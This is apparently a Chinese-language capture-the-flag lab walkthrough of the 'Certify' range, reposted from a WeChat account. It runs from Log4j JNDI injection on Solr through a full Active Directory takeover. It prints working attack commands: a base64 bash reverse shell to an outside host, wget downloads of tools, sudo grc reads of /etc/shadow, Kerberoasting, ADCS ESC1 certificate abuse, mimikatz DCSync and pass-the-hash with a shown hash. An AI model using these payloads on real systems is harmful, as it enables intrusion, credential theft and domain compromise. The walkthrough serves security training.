首先拿到IP地址:39.99.144.58
然后使用Fscan进行扫描：
发现存在Solr Admin。
./fscan_amd64 -h 39.99.144.58
我们通过题目得知是需要通过log4j打的，可以看到它使用了log4j的组件，我们可以使用log4j进行RCE。
参考文章：https://blog.csdn.net/qq_46145027/article/details/124661480
我们首先使用dnslog探测一下:
{jndi:ldap://${sys:java.version}.cyglow.dnslog.cn}http://39.99.144.58:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.dj3vyd.dnslog.cn}可以看到这里成功爆出了JDK的版本。
紧接着我们反弹shell：
首先将反弹shell的命令进行Base64编码：
bash -i >& /dev/tcp/43.137.19.241/6633 0>&1Base64编码之后:YmFzaCAtaSA+JiAvZGV2L3RjcC80My4xMzcuMTkuMjQxLzY2MzMgMD4mMQ==
构造payload:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80My4xMzcuMTkuMjQxLzY2MzMgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "43.137.19.241"
执行payload:
${jndi:ldap://43.137.19.241:1389/pbunfw}
可以看到如上图网页被重定向到了我们的恶意类地址。
并且我们这边监听的6633端口已经收到了反弹过来的shell。
提权:
sudo -l发现grc，我们来看看grc这个命令是干嘛的。
我们发现它是可以执行命令的。
那么我们尝试查看密码shadow文件。
sudo grc --pty cat /etc/shadow
那么我们就可以尝试读取flag文件了。
sudo grc --pty cat /root/flag/flag01.txt
紧接着上传fscan。
python3 -m http.server 5000wget http://43.137.19.241:5000/fscan_amd64chmod +x fscan_amd64./fscan_amd64 -h 172.22.9.0/24
[] alive ports len is: 16start vulscan[] NetInfo:[]172.22.9.26[]DESKTOP-CBKTVMO[]172.22.9.26[] NetBios: 172.22.9.7 [+]DC XIAORANGXIAORANG-DC[] NetInfo:[]172.22.9.7[]XIAORANG-DC[]172.22.9.7[] NetBios: 172.22.9.26 DESKTOP-CBKTVMO.xiaorang.lab Windows Server 2016 Datacenter 14393[] WebTitle: http://172.22.9.47 code:200 len:10918 title:Apache2 Ubuntu Default Page: It works[] WebTitle: http://172.22.9.19 code:200 len:612 title:Welcome to nginx![] NetBios: 172.22.9.47 fileserver Windows 6.1[] 172.22.9.47 (Windows 6.1)[] WebTitle: http://172.22.9.19:8983 code:302 len:0 title:None 跳转url: http://172.22.9.19:8983/solr/[] WebTitle: http://172.22.9.7 code:200 len:703 title:IIS Windows Server[] WebTitle: http://172.22.9.19:8983/solr/ code:200 len:16555 title:Solr Admin[] http://172.22.9.7 poc-yaml-active-directory-certsrv-detect
如上图可以看到扫出来一个证书服务器 9.7这台。
还有9.47是一台fileserver文件服务器。
172.22.9.7是一台DC。
根据题目显示，文件服务器可能有SMB共享。
这里做一个NPS的隧道。
sudo grc --pty wget http://43.137.19.241:5000/npcsudo grc --pty http://43.137.19.241:5000/npcsudo grc --pty nohup ./npc -server=43.137.19.241:8024 -vkey=23qm41udjudhnbu0 -type=tcp & >>1.log
注意这里下载可能会报错，显示没有权限，所以还是得利用grc去下载。
紧接着去扫描一下172.22.9.47相关的端口：
proxychains4 nmap -sT -A -Pn 172.22.9.47
通过smbclient列举可以匿名访问的。
proxychains4 smbclient \\172.22.9.47
可以看到fileshare是可以匿名访问的，我们列举一下。
proxychains4 smbclient \\172.22.9.47\fileshare
如上图拿到这两个文件一个是flag一个是数据库的一个文件。
打开这个db文件。
发现里面有多的账户以及密码。
还有在flag中有这么一段提示:
紧接着我们将这些用户以及密码都做成一个字典去跑一下RDP。
proxychains hydra -L user.txt -P pwd.txt 172.22.9.26 rdp -vV -e ns可以看到虽然跑出来了密码，但是是不能登录的，如下是hydra的提示。
使用Kerberoast攻击
首先使用GetUserSPNs查找注册在域用户下的SPN。
proxychains python3 GetUserSPNs.py -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian然后保存到hash.txt文件中进行暴力破解。
hashcat -m 13100 hash.txt rock.txt --force最后跑出来的密码是:MyPass2@@6 这里的用户名是zhangxia
我们通过远程进行登录。
查找存在漏洞的证书模板。
首先查看CA机器：
certutil -dump -v然后查找存在漏洞的模板:
certipy find -u zhangxia@xiaorang.lab -p MyPass2@@6 -dc-ip 172.22.9.7 -target-ip172.22.9.7 -vulnerable -stdout
可以看到是存在ESC1漏洞的。注意Certificate Name Flag和EKU标识为ESC1模板特征
漏洞利用:
针对于ESC1请求证书:
Certify.exe request /ca:XIAORANG-DC.xiaorang.labxiaorang-XIAORANG-DC-CA /template:"XR Manager" /altname:xiaorangAdministrator
进行转换格式：
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx在这之前需要将上一步请求的证书，从BEGIN RSA PRIVATE KEY包含这个开始到最后结束，改成cert.pem文件。
然后执行上述命令:
这里会提示输入密码，直接回车即可。
然后请求TGT。
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password: /ptt
查看票据:
使用mimikatz 进行dcsync导出域控hash
mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit
然后通过psexec直接PTH即可。
proxychains4 python3 psexec.py xiaorang.lab/Administrator@172.22.9.7 -hashes :2f1b57eefb2d152196836b0516abea80 -codec gbk
还有一台是172.22.9.26
proxychains4 python3 psexec.py xiaorang.lab/Administrator@172.22.9.26 -hashes :2f1b57eefb2d152196836b0516abea80 -codec gbk
End结束。
原文始发于微信公众号（Relay学安全）：i春秋云镜之Certify
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论